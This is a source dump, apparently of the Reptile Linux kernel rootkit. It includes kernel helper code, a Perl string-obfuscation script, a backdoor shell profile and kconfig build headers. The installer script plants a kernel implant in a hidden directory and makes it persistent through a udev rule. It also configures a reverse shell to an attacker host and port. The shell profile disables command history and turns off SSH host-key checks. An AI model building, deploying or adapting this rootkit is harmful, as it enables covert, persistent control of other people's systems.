10 | #define ESCAPE_SPACE 0x01
11 | #define ESCAPE_SPECIAL 0x02
12 | #define ESCAPE_NULL 0x04
13 | #define ESCAPE_OCTAL 0x08
14 | #define ESCAPE_ANY (ESCAPE_SPACE | ESCAPE_OCTAL | ESCAPE_SPECIAL | ESCAPE_NULL)
15 | #define ESCAPE_NP 0x10
16 | #define ESCAPE_ANY_NP (ESCAPE_ANY | ESCAPE_NP)
17 | #define ESCAPE_HEX 0x20
18 |
19 | static bool escape_passthrough(unsigned char c, char **dst, char *end)
20 | {
21 | char *out = *dst;
22 |
23 | if (out < end)
24 | *out = c;
25 | *dst = out + 1;
26 | return true;
27 | }
28 |
29 | static bool escape_space(unsigned char c, char **dst, char *end)
30 | {
31 | char *out = *dst;
32 | unsigned char to;
33 |
34 | switch (c) {
35 | case '\n':
36 | to = 'n';
37 | break;
38 | case '\r':
39 | to = 'r';
40 | break;
41 | case '\t':
42 | to = 't';
43 | break;
44 | case '\v':
45 | to = 'v';
46 | break;
47 | case '\f':
48 | to = 'f';
49 | break;
50 | default:
51 | return false;
52 | }
53 |
54 | if (out < end)
55 | *out = '\\';
56 | ++out;
57 | if (out < end)
58 | *out = to;
59 | ++out;
60 |
61 | *dst = out;
62 | return true;
63 | }
64 |
65 | static bool escape_special(unsigned char c, char **dst, char *end)
66 | {
67 | char *out = *dst;
68 | unsigned char to;
69 |
70 | switch (c) {
71 | case '\\':
72 | to = '\\';
73 | break;
74 | case '\a':
75 | to = 'a';
76 | break;
77 | case '\e':
78 | to = 'e';
79 | break;
80 | default:
81 | return false;
82 | }
83 |
84 | if (out < end)
85 | *out = '\\';
86 | ++out;
87 | if (out < end)
88 | *out = to;
89 | ++out;
90 |
91 | *dst = out;
92 | return true;
93 | }
94 |
95 | static bool escape_null(unsigned char c, char **dst, char *end)
96 | {
97 | char *out = *dst;
98 |
99 | if (c)
100 | return false;
101 |
102 | if (out < end)
103 | *out = '\\';
104 | ++out;
105 | if (out < end)
106 | *out = '0';
107 | ++out;
108 |
109 | *dst = out;
110 | return true;
111 | }
112 |
113 | static bool escape_octal(unsigned char c, char **dst, char *end)
114 | {
115 | char *out = *dst;
116 |
117 | if (out < end)
118 | *out = '\\';
119 | ++out;
120 | if (out < end)
121 | *out = ((c >> 6) & 0x07) + '0';
122 | ++out;
123 | if (out < end)
124 | *out = ((c >> 3) & 0x07) + '0';
125 | ++out;
126 | if (out < end)
127 | *out = ((c >> 0) & 0x07) + '0';
128 | ++out;
129 |
130 | *dst = out;
131 | return true;
132 | }
133 |
134 | static bool escape_hex(unsigned char c, char **dst, char *end)
135 | {
136 | char *out = *dst;
137 |
138 | if (out < end)
139 | *out = '\\';
140 | ++out;
141 | if (out < end)
142 | *out = 'x';
143 | ++out;
144 | if (out < end)
145 | *out = hex_asc_hi(c);
146 | ++out;
147 | if (out < end)
148 | *out = hex_asc_lo(c);
149 | ++out;
150 |
151 | *dst = out;
152 | return true;
153 | }
154 |
155 | int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz,
156 | unsigned int flags, const char *only)
157 | {
158 | char *p = dst;
159 | char *end = p + osz;
160 | bool is_dict = only && *only;
161 |
162 | while (isz--) {
163 | unsigned char c = *src++;
164 |
165 | /*
166 | * Apply rules in the following sequence:
167 | * - the character is printable, when @flags has
168 | * %ESCAPE_NP bit set
169 | * - the @only string is supplied and does not contain a
170 | * character under question
171 | * - the character doesn't fall into a class of symbols
172 | * defined by given @flags
173 | * In these cases we just pass through a character to the
174 | * output buffer.
175 | */
176 | if ((flags & ESCAPE_NP && isprint(c)) ||
177 | (is_dict && !strchr(only, c))) {
178 | /* do nothing */
179 | } else {
180 | if (flags & ESCAPE_SPACE && escape_space(c, &p, end))
181 | continue;
182 |
183 | if (flags & ESCAPE_SPECIAL && escape_special(c, &p, end))
184 | continue;
185 |
186 | if (flags & ESCAPE_NULL && escape_null(c, &p, end))
187 | continue;
188 |
189 | /* ESCAPE_OCTAL and ESCAPE_HEX always go last */
190 | if (flags & ESCAPE_OCTAL && escape_octal(c, &p, end))
191 | continue;
192 |
193 | if (flags & ESCAPE_HEX && escape_hex(c, &p, end))
194 | continue;
195 | }
196 |
197 | escape_passthrough(c, &p, end);
198 | }
199 |
200 | return p - dst;
201 | }
202 |
203 | char *kstrdup_quotable(const char *src, gfp_t gfp)
204 | {
205 | size_t slen, dlen;
206 | char *dst;
207 | const int flags = ESCAPE_HEX;
208 | const char esc[] = "\f\n\r\t\v\a\e\\\"";
209 |
210 | if (!src)
211 | return NULL;
212 | slen = strlen(src);
213 |
214 | dlen = string_escape_mem(src, slen, NULL, 0, flags, esc);
215 | dst = kmalloc(dlen + 1, gfp);
216 | if (!dst)
217 | return NULL;
218 |
219 | WARN_ON(string_escape_mem(src, slen, dst, dlen, flags, esc) != dlen);
220 | dst[dlen] = '\0';
221 |
222 | return dst;
223 | }
224 |
225 | #include "util.h"
226 |
227 | char *kstrdup_quotable_cmdline(struct task_struct *task, gfp_t gfp)
228 | {
229 | char *buffer, *quoted;
230 | int i, res;
231 |
232 | buffer = kmalloc(PAGE_SIZE, GFP_KERNEL);
233 | if (!buffer)
234 | return NULL;
235 |
236 | res = get_cmdline(task, buffer, PAGE_SIZE - 1);
237 | buffer[res] = '\0';
238 |
239 | /* Collapse trailing NULLs, leave res pointing to last non-NULL. */
240 | while (--res >= 0 && buffer[res] == '\0')
241 | ;
242 |
243 | /* Replace inter-argument NULLs. */
244 | for (i = 0; i <= res; i++)
245 | if (buffer[i] == '\0')
246 | buffer[i] = ' ';
247 |
248 | /* Make sure result is printable. */
249 | quoted = kstrdup_quotable(buffer, gfp);
250 | kfree(buffer);
251 | return quoted;
252 | }
253 |
254 | #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0)
255 | char *strreplace(char *s, char old, char new)
256 | {
257 | for (; *s; ++s)
258 | if (*s == old)
259 | *s = new;
260 | return s;
261 | }
262 |
263 | #endif
264 | #endif
--------------------------------------------------------------------------------
/kernel/util.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
11 | # include
12 | #endif
13 |
14 | #include "util.h"
15 |
16 | asmlinkage int (*_access_process_vm)(struct task_struct *, unsigned long, void *, int, int);
17 |
18 | int util_init(void)
19 | {
20 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
21 | _access_process_vm = (void *) access_process_vm;
22 | #else
23 | _access_process_vm = (void *) ksym_lookup_name("access_process_vm");
24 | #endif
25 |
26 | if (!_access_process_vm)
27 | return -EFAULT;
28 |
29 | return 0;
30 | }
31 |
32 | /* stolen from mm/util.c */
33 |
34 | int get_cmdline(struct task_struct *task, char *buffer, int buflen)
35 | {
36 | int res = 0;
37 | unsigned int len;
38 | struct mm_struct *mm = get_task_mm(task);
39 | unsigned long arg_start, arg_end, env_start, env_end;
40 | if (!mm)
41 | goto out;
42 | if (!mm->arg_end)
43 | goto out_mm;
44 |
45 | down_read(&mm->mmap_sem);
46 | arg_start = mm->arg_start;
47 | arg_end = mm->arg_end;
48 | env_start = mm->env_start;
49 | env_end = mm->env_end;
50 | up_read(&mm->mmap_sem);
51 |
52 | len = arg_end - arg_start;
53 |
54 | if (len > buflen)
55 | len = buflen;
56 |
57 | res = _access_process_vm(task, arg_start, buffer, len, FOLL_FORCE);
58 |
59 | /*
60 | * If the nul at the end of args has been overwritten, then
61 | * assume application is using setproctitle(3).
62 | */
63 | if (res > 0 && buffer[res-1] != '\0' && len < buflen) {
64 | len = strnlen(buffer, res);
65 | if (len < res) {
66 | res = len;
67 | } else {
68 | len = env_end - env_start;
69 | if (len > buflen - res)
70 | len = buflen - res;
71 | res += _access_process_vm(task, env_start, buffer+res, len, FOLL_FORCE);
72 | res = strnlen(buffer, res);
73 | }
74 | }
75 | out_mm:
76 | mmput(mm);
77 | out:
78 | return res;
79 | }
80 |
81 | /*
82 | static int count_argc(const char *str)
83 | {
84 | int count = 0;
85 | bool was_space;
86 |
87 | for (was_space = true; *str; str++) {
88 | if (isspace(*str)) {
89 | was_space = true;
90 | } else if (was_space) {
91 | was_space = false;
92 | count++;
93 | }
94 | }
95 |
96 | return count;
97 | }
98 |
99 | int run_cmd(const char *cmd)
100 | {
101 | char **argv;
102 | int ret;
103 | int i;
104 |
105 | argv = argv_split(GFP_KERNEL, cmd, NULL);
106 | if (argv) {
107 | ret = exec(argv);
108 | argv_free(argv);
109 | } else {
110 | ret = -ENOMEM;
111 | }
112 |
113 | return ret;
114 | }
115 | */
--------------------------------------------------------------------------------
/scripts/bashrc:
--------------------------------------------------------------------------------
1 | case $- in
2 | *i*) ;;
3 | *) return;;
4 | esac
5 |
6 | tty -s || return
7 | [ ! -z $TERM ] && export TERM=xterm
8 | unset HISTFILE SAVEHIST TMOUT PROMPT_COMMAND
9 | [ $(id -u) != 0 ] && kill -9 $$
10 |
11 | #declare -x LS_COLORS="no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.mng=01;35:*.xcf=01;35:*.pcx=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.avi=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.mov=01;35:*.qt=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.pdf=00;32:*.ps=00;32:*.txt=00;32:*.patch=00;32:*.diff=00;32:*.log=00;32:*.tex=00;32:*.doc=00;32:*.mp3=00;36:*.wav=00;36:*.mid=00;36:*.midi=00;36:*.au=00;36:*.ogg=00;36:*.flac=00;36:*.aac=00;36:"
12 | export TERM="xterm"
13 | #HISTCONTROL=ignoreboth
14 | #shopt -s histappend
15 | #HISTSIZE=1000
16 | #HISTFILESIZE=2000
17 |
18 | shopt -s checkwinsize
19 | uname -a; id;
20 | echo
21 |
22 | color_prompt=yes
23 | force_color_prompt=yes
24 |
25 | if [ -n "$force_color_prompt" ]; then
26 | if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
27 | color_prompt=yes
28 | else
29 | color_prompt=
30 | fi
31 | fi
32 |
33 | if [ "$color_prompt" = yes ]; then
34 | PS1='\[\033[01;31m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
35 | else
36 | PS1='\u@\h:\w\$ '
37 | fi
38 | unset color_prompt force_color_prompt
39 |
40 | if [ -x /usr/bin/dircolors ]; then
41 | test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
42 | alias ls='ls --color=auto'
43 | alias grep='grep --color=auto'
44 | fi
45 |
46 | alias l=ls
47 | alias ll='ls --color=auto -AlFhn'
48 | alias rm='rm -rfv'
49 | alias nano='nano -ELSit'
50 | alias s="ssh -i id_dsa -i id_rsa -v -o 'StrictHostKeyChecking no' -o 'UserKnownHostsFile /dev/null' -o 'ServerAliveInterval 30'"
51 | alias sc="scp -i id_dsa -i id_rsa -v -o 'StrictHostKeyChecking no' -o 'UserKnownHostsFile /dev/null'"
52 |
53 | if ! shopt -oq posix; then
54 | if [ -f /usr/share/bash-completion/bash_completion ]; then
55 | . /usr/share/bash-completion/bash_completion
56 | elif [ -f /etc/bash_completion ]; then
57 | . /etc/bash_completion
58 | fi
59 | fi
60 |
--------------------------------------------------------------------------------
/scripts/destringify.pl:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl -w
2 | #
3 | # Author: Ilya V. Matveychikov
4 | #
5 | # https://github.com/milabs
6 | #
7 |
8 | use FindBin qw($Bin);
9 | use lib "$Bin/lib";
10 | use Unescape;
11 |
12 | sub translate($) {
13 | my $str = shift;
14 |
15 | my $i = 0;
16 | my @tokens = ();
17 | push @tokens, "unsigned int *p = __builtin_alloca(%d)";
18 | map { push @tokens, sprintf("p[%d] = 0x%08x", $i++, $_) } unpack("V*", pack("(C4)*", unpack("C*", String::Unescape->unescape($str)), 0));
19 | push @tokens, "(char *)p";
20 | my $body = join("; ", @tokens);
21 |
22 | return sprintf("({ $body; })", scalar($i) << 2);
23 | }
24 |
25 | while (my $line = ) {
26 |
27 | next if ($line =~ /asm/);
28 | next if ($line =~ /include/);
29 | next if ($line =~ /__attribute__/);
30 |
31 | while ($line =~ /"(.*?)"/) {
32 | my $replace = translate($1);
33 | $line =~ s/(".*?")/$replace/;
34 | }
35 | } continue {
36 | print "$line"
37 | }
38 |
--------------------------------------------------------------------------------
/scripts/installer.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | function random_gen_dec {
4 | RETVAL=$(shuf -i 50-99 -n 1)
5 | }
6 |
7 | PWD="$(cd "$(dirname ${BASH_SOURCE[0]})" && pwd)"
8 | [ $? -ne 0 ] && PWD="$(cd "$(dirname $0)" && pwd)"
9 | source "${BASH_SOURCE%/*}/../.config" || \
10 | { echo "Error: no .config file found!"; exit; }
11 |
12 | UDEV_DIR=/lib/udev
13 | random_gen_dec && NAME=$RETVAL-$HIDE.rules
14 | RULE=/lib/udev/rules.d/$NAME
15 | [ ! -d /lib/udev/rules.d ] && RULE=/etc/udev/rules.d/$NAME
16 |
17 | # Create Reptile's folder
18 | mkdir -p /$HIDE && \
19 |
20 | # Copy "cmd" binary
21 | cp $PWD/../output/cmd /$HIDE/$HIDE"_cmd" && \
22 |
23 | # Copy "shell" binary
24 | cp $PWD/../output/shell /$HIDE/$HIDE"_shell" && \
25 |
26 | # Copy "bashrc"
27 | cp $PWD/../scripts/bashrc /$HIDE/$HIDE"_rc" && \
28 |
29 | # Create start script
30 | cp $PWD/../scripts/start /$HIDE/$HIDE"_start" && \
31 | sed -i s!XXXXX!$TAG_NAME! /$HIDE/$HIDE"_start" && \
32 | sed -i s!\#CMD!/$HIDE/$HIDE"_cmd"! /$HIDE/$HIDE"_start" && \
33 | if [ "$CONFIG_RSHELL_ON_START" == "y" ]; then
34 | sed -i s!\#SHELL!/$HIDE/$HIDE"_shell"! /$HIDE/$HIDE"_start" && \
35 | sed -i s!LHOST!$LHOST! /$HIDE/$HIDE"_start" && \
36 | sed -i s!LPORT!$LPORT! /$HIDE/$HIDE"_start" && \
37 | sed -i s!PASS!$PASSWORD! /$HIDE/$HIDE"_start" && \
38 | sed -i s!INTERVAL!$INTERVAL! /$HIDE/$HIDE"_start" && \
39 | true || false;
40 | fi
41 |
42 | # Permissions
43 | chmod 777 /$HIDE/* && \
44 |
45 | # Copy kernel implant
46 | cp $PWD/../output/reptile /$HIDE/$HIDE && \
47 |
48 | # Make persistent
49 | cp $PWD/../output/reptile $UDEV_DIR/$HIDE && \
50 | cp $PWD/../scripts/rule $RULE && \
51 |
52 | # cleaning output dir
53 | rm -rf $PWD/../output && \
54 |
55 | # Load Reptile
56 | /$HIDE/$HIDE && \
57 |
58 | echo -e "\n\e[44;01;33m*** DONE! ***\e[00m\n" || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }
59 |
60 | # How to Uninstall
61 | echo -e "UNINSTALL:\n"
62 | echo -e "/$HIDE/$HIDE""_cmd show"
63 | echo -e "rmmod reptile_module"
64 | echo -e "rm -rf /$HIDE $RULE $UDEV_DIR/$HIDE"
65 | echo
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/.quilt_patches:
--------------------------------------------------------------------------------
1 | patches
2 |
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/.quilt_series:
--------------------------------------------------------------------------------
1 | series
2 |
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/.version:
--------------------------------------------------------------------------------
1 | 2
2 |
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/.timestamp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/f0rb1dd3n/Reptile/1e17bc82ea8e4f9b4eaf15619ed6bcd283ad0e17/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/.timestamp
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/10-br-build-system.patch/.timestamp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/f0rb1dd3n/Reptile/1e17bc82ea8e4f9b4eaf15619ed6bcd283ad0e17/scripts/kconfig/.pc/10-br-build-system.patch/.timestamp
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/10-br-build-system.patch/Makefile.br:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/f0rb1dd3n/Reptile/1e17bc82ea8e4f9b4eaf15619ed6bcd283ad0e17/scripts/kconfig/.pc/10-br-build-system.patch/Makefile.br
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/10-br-build-system.patch/foo.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/f0rb1dd3n/Reptile/1e17bc82ea8e4f9b4eaf15619ed6bcd283ad0e17/scripts/kconfig/.pc/10-br-build-system.patch/foo.h
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/100-kconfig-generic-env.patch/.timestamp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/f0rb1dd3n/Reptile/1e17bc82ea8e4f9b4eaf15619ed6bcd283ad0e17/scripts/kconfig/.pc/100-kconfig-generic-env.patch/.timestamp
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/100-kconfig-generic-env.patch/expr.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (C) 2002 Roman Zippel
3 | * Released under the terms of the GNU GPL v2.0.
4 | */
5 |
6 | #ifndef EXPR_H
7 | #define EXPR_H
8 |
9 | #ifdef __cplusplus
10 | extern "C" {
11 | #endif
12 |
13 | #include
14 | #include
15 | #include "list.h"
16 | #ifndef __cplusplus
17 | #include
18 | #endif
19 |
20 | struct file {
21 | struct file *next;
22 | struct file *parent;
23 | const char *name;
24 | int lineno;
25 | };
26 |
27 | typedef enum tristate {
28 | no, mod, yes
29 | } tristate;
30 |
31 | enum expr_type {
32 | E_NONE, E_OR, E_AND, E_NOT, E_EQUAL, E_UNEQUAL, E_LIST, E_SYMBOL, E_RANGE
33 | };
34 |
35 | union expr_data {
36 | struct expr *expr;
37 | struct symbol *sym;
38 | };
39 |
40 | struct expr {
41 | enum expr_type type;
42 | union expr_data left, right;
43 | };
44 |
45 | #define EXPR_OR(dep1, dep2) (((dep1)>(dep2))?(dep1):(dep2))
46 | #define EXPR_AND(dep1, dep2) (((dep1)<(dep2))?(dep1):(dep2))
47 | #define EXPR_NOT(dep) (2-(dep))
48 |
49 | #define expr_list_for_each_sym(l, e, s) \
50 | for (e = (l); e && (s = e->right.sym); e = e->left.expr)
51 |
52 | struct expr_value {
53 | struct expr *expr;
54 | tristate tri;
55 | };
56 |
57 | struct symbol_value {
58 | void *val;
59 | tristate tri;
60 | };
61 |
62 | enum symbol_type {
63 | S_UNKNOWN, S_BOOLEAN, S_TRISTATE, S_INT, S_HEX, S_STRING, S_OTHER
64 | };
65 |
66 | /* enum values are used as index to symbol.def[] */
67 | enum {
68 | S_DEF_USER, /* main user value */
69 | S_DEF_AUTO, /* values read from auto.conf */
70 | S_DEF_DEF3, /* Reserved for UI usage */
71 | S_DEF_DEF4, /* Reserved for UI usage */
72 | S_DEF_COUNT
73 | };
74 |
75 | struct symbol {
76 | struct symbol *next;
77 | char *name;
78 | enum symbol_type type;
79 | struct symbol_value curr;
80 | struct symbol_value def[S_DEF_COUNT];
81 | tristate visible;
82 | int flags;
83 | struct property *prop;
84 | struct expr_value dir_dep;
85 | struct expr_value rev_dep;
86 | };
87 |
88 | #define for_all_symbols(i, sym) for (i = 0; i < SYMBOL_HASHSIZE; i++) for (sym = symbol_hash[i]; sym; sym = sym->next) if (sym->type != S_OTHER)
89 |
90 | #define SYMBOL_CONST 0x0001 /* symbol is const */
91 | #define SYMBOL_CHECK 0x0008 /* used during dependency checking */
92 | #define SYMBOL_CHOICE 0x0010 /* start of a choice block (null name) */
93 | #define SYMBOL_CHOICEVAL 0x0020 /* used as a value in a choice block */
94 | #define SYMBOL_VALID 0x0080 /* set when symbol.curr is calculated */
95 | #define SYMBOL_OPTIONAL 0x0100 /* choice is optional - values can be 'n' */
96 | #define SYMBOL_WRITE 0x0200 /* write symbol to file (KCONFIG_CONFIG) */
97 | #define SYMBOL_CHANGED 0x0400 /* ? */
98 | #define SYMBOL_AUTO 0x1000 /* value from environment variable */
99 | #define SYMBOL_CHECKED 0x2000 /* used during dependency checking */
100 | #define SYMBOL_WARNED 0x8000 /* warning has been issued */
101 |
102 | /* Set when symbol.def[] is used */
103 | #define SYMBOL_DEF 0x10000 /* First bit of SYMBOL_DEF */
104 | #define SYMBOL_DEF_USER 0x10000 /* symbol.def[S_DEF_USER] is valid */
105 | #define SYMBOL_DEF_AUTO 0x20000 /* symbol.def[S_DEF_AUTO] is valid */
106 | #define SYMBOL_DEF3 0x40000 /* symbol.def[S_DEF_3] is valid */
107 | #define SYMBOL_DEF4 0x80000 /* symbol.def[S_DEF_4] is valid */
108 |
109 | /* choice values need to be set before calculating this symbol value */
110 | #define SYMBOL_NEED_SET_CHOICE_VALUES 0x100000
111 |
112 | #define SYMBOL_MAXLENGTH 256
113 | #define SYMBOL_HASHSIZE 9973
114 |
115 | /* A property represent the config options that can be associated
116 | * with a config "symbol".
117 | * Sample:
118 | * config FOO
119 | * default y
120 | * prompt "foo prompt"
121 | * select BAR
122 | * config BAZ
123 | * int "BAZ Value"
124 | * range 1..255
125 | */
126 | enum prop_type {
127 | P_UNKNOWN,
128 | P_PROMPT, /* prompt "foo prompt" or "BAZ Value" */
129 | P_COMMENT, /* text associated with a comment */
130 | P_MENU, /* prompt associated with a menuconfig option */
131 | P_DEFAULT, /* default y */
132 | P_CHOICE, /* choice value */
133 | P_SELECT, /* select BAR */
134 | P_RANGE, /* range 7..100 (for a symbol) */
135 | P_ENV, /* value from environment variable */
136 | P_SYMBOL, /* where a symbol is defined */
137 | };
138 |
139 | struct property {
140 | struct property *next; /* next property - null if last */
141 | struct symbol *sym; /* the symbol for which the property is associated */
142 | enum prop_type type; /* type of property */
143 | const char *text; /* the prompt value - P_PROMPT, P_MENU, P_COMMENT */
144 | struct expr_value visible;
145 | struct expr *expr; /* the optional conditional part of the property */
146 | struct menu *menu; /* the menu the property are associated with
147 | * valid for: P_SELECT, P_RANGE, P_CHOICE,
148 | * P_PROMPT, P_DEFAULT, P_MENU, P_COMMENT */
149 | struct file *file; /* what file was this property defined */
150 | int lineno; /* what lineno was this property defined */
151 | };
152 |
153 | #define for_all_properties(sym, st, tok) \
154 | for (st = sym->prop; st; st = st->next) \
155 | if (st->type == (tok))
156 | #define for_all_defaults(sym, st) for_all_properties(sym, st, P_DEFAULT)
157 | #define for_all_choices(sym, st) for_all_properties(sym, st, P_CHOICE)
158 | #define for_all_prompts(sym, st) \
159 | for (st = sym->prop; st; st = st->next) \
160 | if (st->text)
161 |
162 | struct menu {
163 | struct menu *next;
164 | struct menu *parent;
165 | struct menu *list;
166 | struct symbol *sym;
167 | struct property *prompt;
168 | struct expr *visibility;
169 | struct expr *dep;
170 | unsigned int flags;
171 | char *help;
172 | struct file *file;
173 | int lineno;
174 | void *data;
175 | };
176 |
177 | #define MENU_CHANGED 0x0001
178 | #define MENU_ROOT 0x0002
179 |
180 | struct jump_key {
181 | struct list_head entries;
182 | size_t offset;
183 | struct menu *target;
184 | int index;
185 | };
186 |
187 | #define JUMP_NB 9
188 |
189 | extern struct file *file_list;
190 | extern struct file *current_file;
191 | struct file *lookup_file(const char *name);
192 |
193 | extern struct symbol symbol_yes, symbol_no, symbol_mod;
194 | extern struct symbol *modules_sym;
195 | extern struct symbol *sym_defconfig_list;
196 | extern int cdebug;
197 | struct expr *expr_alloc_symbol(struct symbol *sym);
198 | struct expr *expr_alloc_one(enum expr_type type, struct expr *ce);
199 | struct expr *expr_alloc_two(enum expr_type type, struct expr *e1, struct expr *e2);
200 | struct expr *expr_alloc_comp(enum expr_type type, struct symbol *s1, struct symbol *s2);
201 | struct expr *expr_alloc_and(struct expr *e1, struct expr *e2);
202 | struct expr *expr_alloc_or(struct expr *e1, struct expr *e2);
203 | struct expr *expr_copy(const struct expr *org);
204 | void expr_free(struct expr *e);
205 | int expr_eq(struct expr *e1, struct expr *e2);
206 | void expr_eliminate_eq(struct expr **ep1, struct expr **ep2);
207 | tristate expr_calc_value(struct expr *e);
208 | struct expr *expr_eliminate_yn(struct expr *e);
209 | struct expr *expr_trans_bool(struct expr *e);
210 | struct expr *expr_eliminate_dups(struct expr *e);
211 | struct expr *expr_transform(struct expr *e);
212 | int expr_contains_symbol(struct expr *dep, struct symbol *sym);
213 | bool expr_depends_symbol(struct expr *dep, struct symbol *sym);
214 | struct expr *expr_extract_eq_and(struct expr **ep1, struct expr **ep2);
215 | struct expr *expr_extract_eq_or(struct expr **ep1, struct expr **ep2);
216 | void expr_extract_eq(enum expr_type type, struct expr **ep, struct expr **ep1, struct expr **ep2);
217 | struct expr *expr_trans_compare(struct expr *e, enum expr_type type, struct symbol *sym);
218 | struct expr *expr_simplify_unmet_dep(struct expr *e1, struct expr *e2);
219 |
220 | void expr_fprint(struct expr *e, FILE *out);
221 | struct gstr; /* forward */
222 | void expr_gstr_print(struct expr *e, struct gstr *gs);
223 |
224 | static inline int expr_is_yes(struct expr *e)
225 | {
226 | return !e || (e->type == E_SYMBOL && e->left.sym == &symbol_yes);
227 | }
228 |
229 | static inline int expr_is_no(struct expr *e)
230 | {
231 | return e && (e->type == E_SYMBOL && e->left.sym == &symbol_no);
232 | }
233 |
234 | #ifdef __cplusplus
235 | }
236 | #endif
237 |
238 | #endif /* EXPR_H */
239 |
--------------------------------------------------------------------------------
/scripts/kconfig/.pc/100-kconfig-generic-env.patch/lkc.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (C) 2002 Roman Zippel
3 | * Released under the terms of the GNU GPL v2.0.
4 | */
5 |
6 | #ifndef LKC_H
7 | #define LKC_H
8 |
9 | #include "expr.h"
10 |
11 | #ifndef KBUILD_NO_NLS
12 | # include
13 | #else
14 | static inline const char *gettext(const char *txt) { return txt; }
15 | static inline void textdomain(const char *domainname) {}
16 | static inline void bindtextdomain(const char *name, const char *dir) {}
17 | static inline char *bind_textdomain_codeset(const char *dn, char *c) { return c; }
18 | #endif
19 |
20 | #ifdef __cplusplus
21 | extern "C" {
22 | #endif
23 |
24 | #define P(name,type,arg) extern type name arg
25 | #include "lkc_proto.h"
26 | #undef P
27 |
28 | #define SRCTREE "srctree"
29 |
30 | #ifndef PACKAGE
31 | #define PACKAGE "linux"
32 | #endif
33 |
34 | #define LOCALEDIR "/usr/share/locale"
35 |
36 | #define _(text) gettext(text)
37 | #define N_(text) (text)
38 |
39 | #ifndef CONFIG_
40 | #define CONFIG_ "CONFIG_"
41 | #endif
42 | static inline const char *CONFIG_prefix(void)
43 | {
44 | return getenv( "CONFIG_" ) ?: CONFIG_;
45 | }
46 | #undef CONFIG_
47 | #define CONFIG_ CONFIG_prefix()
48 |
49 | #define TF_COMMAND 0x0001
50 | #define TF_PARAM 0x0002
51 | #define TF_OPTION 0x0004
52 |
53 | enum conf_def_mode {
54 | def_default,
55 | def_yes,
56 | def_mod,
57 | def_no,
58 | def_random
59 | };
60 |
61 | #define T_OPT_MODULES 1
62 | #define T_OPT_DEFCONFIG_LIST 2
63 | #define T_OPT_ENV 3
64 |
65 | struct kconf_id {
66 | int name;
67 | int token;
68 | unsigned int flags;
69 | enum symbol_type stype;
70 | };
71 |
72 | extern int zconfdebug;
73 |
74 | int zconfparse(void);
75 | void zconfdump(FILE *out);
76 | void zconf_starthelp(void);
77 | FILE *zconf_fopen(const char *name);
78 | void zconf_initscan(const char *name);
79 | void zconf_nextfile(const char *name);
80 | int zconf_lineno(void);
81 | const char *zconf_curname(void);
82 |
83 | /* confdata.c */
84 | const char *conf_get_configname(void);
85 | const char *conf_get_autoconfig_name(void);
86 | char *conf_get_default_confname(void);
87 | void sym_set_change_count(int count);
88 | void sym_add_change_count(int count);
89 | bool conf_set_all_new_symbols(enum conf_def_mode mode);
90 | void set_all_choice_values(struct symbol *csym);
91 |
92 | struct conf_printer {
93 | void (*print_symbol)(FILE *, struct symbol *, const char *, void *);
94 | void (*print_comment)(FILE *, const char *, void *);
95 | };
96 |
97 | /* confdata.c and expr.c */
98 | static inline void xfwrite(const void *str, size_t len, size_t count, FILE *out)
99 | {
100 | assert(len != 0);
101 |
102 | if (fwrite(str, len, count, out) != count)
103 | fprintf(stderr, "Error in writing or end of file.\n");
104 | }
105 |
106 | /* menu.c */
107 | void _menu_init(void);
108 | void menu_warn(struct menu *menu, const char *fmt, ...);
109 | struct menu *menu_add_menu(void);
110 | void menu_end_menu(void);
111 | void menu_add_entry(struct symbol *sym);
112 | void menu_end_entry(void);
113 | void menu_add_dep(struct expr *dep);
114 | void menu_add_visibility(struct expr *dep);
